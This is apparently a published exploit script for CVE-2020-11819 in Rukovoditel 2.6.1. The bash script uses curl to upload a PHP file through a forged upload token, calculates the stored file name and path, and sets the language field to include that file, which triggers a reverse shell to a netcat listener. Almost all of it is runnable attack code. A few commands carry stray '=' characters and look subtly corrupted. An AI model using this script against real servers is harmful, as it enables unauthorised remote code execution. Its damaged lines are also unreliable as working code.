Rukovoditel 2.6.1 - RCE (1)

# Exploit Title: Rukovoditel 2.6.1 - RCE
# Date: 2020-06-11
# Exploit Author: coiffeur
# Write Up: https://therealcoiffeur.github.io/c1010
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: v2.6.1
# CVE: CVE-2020-11819

set -e

function usage () {
    echo "NAME: Rukovoditel v2.6.1, RCE"
    echo "SYNOPSIS: ./rce_2.6.1.sh <BASE_URL> <SID>"
    echo "DESCRIPTION:"
    echo "Upload file test.php on the remote server and trigger the file using a LFI"
    echo "AUTHOR: coiffeur"
    exit
}

if [ "$#" -ne 2 ]; then
    usage
fi

BASE_URL=$1
SID=$2
echo "Setting target: $BASE_URL"
echo "Setting sid: $SID"

echo ""

echo "Extracting \$app_user['id']:"
APP_USER_ID=`curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID" | grep "validate_form&id=" | cut -d '=' -f 3 | cut -d "'" -f 1`
echo "  =>  \$app_user['id']: $APP_USER_ID"

echo "Setting arbitrary \$_POST['timestamp']:"
TIMESTAMP=1337
echo "  =>  \$_POST['timestamp']: 1337"

echo "Calculating \$verifyToken:"
VERIFY_TOKEN=`echo -n "$APP_USER_ID$TIMESTAMP" | md5sum | cut -d ' ' -f 1=`
echo "  =>  \$verifyToken: $VERIFY_TOKEN"
echo ""

echo "[*] Trying to upload test.php ... (Arbitrary File Upload)"
curl "$BASE_URL/index.php?module=users/account&action=attachments_upload" -H "Cookie: sid=$SID" -F "timestamp=$TIMESTAMP" -F "token=$VERIFY_TOKEN" -F 'Filedata=@test.php'

echo ""

echo "[*] Trying to recover time() output:"
TIME=$(date -d "`curl -si "$BASE_URL" | grep "Date:" | sed 's/Date: //'`"= +%s)
echo "  =>  timestamp: $TIME"

echo "[*] Trying to recover the generated filename:"=20
FILENAME=` echo -n $TIME"_test.php" | sha1sum | cut -d ' ' -f 1`
echo "  =>  filename: $FILENAME"

echo "[*] Trying to reconstructing full path:"
DATE=`date +"%Y/%m/%d"`
FULL_PATH=`echo -n "uploads/attachments/$DATE/$FILENAME"`
echo "  =>  full path: $FULL_PATH"

echo ""

echo "[!] Prepare a netcat listener by typing: nc -lvp 4444"

echo ""

echo "[*] Trying to update language settings  ... (Local File Inclusion)"
LANGUAGE="../../$FULL_PATH"
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=$LANGUAGE"

echo "[*] Triggering reverse shell ..."
curl -s "$BASE_URL/index.php?module=users/account" -H "Cookie: sid=$SID="

echo "[*] Restoring default language settings"
curl -s "$BASE_URL/index.php?module=users/account&action=update" -H "Cookie: sid=$SID" -d "fields[13]=english.php"
echo "> Done"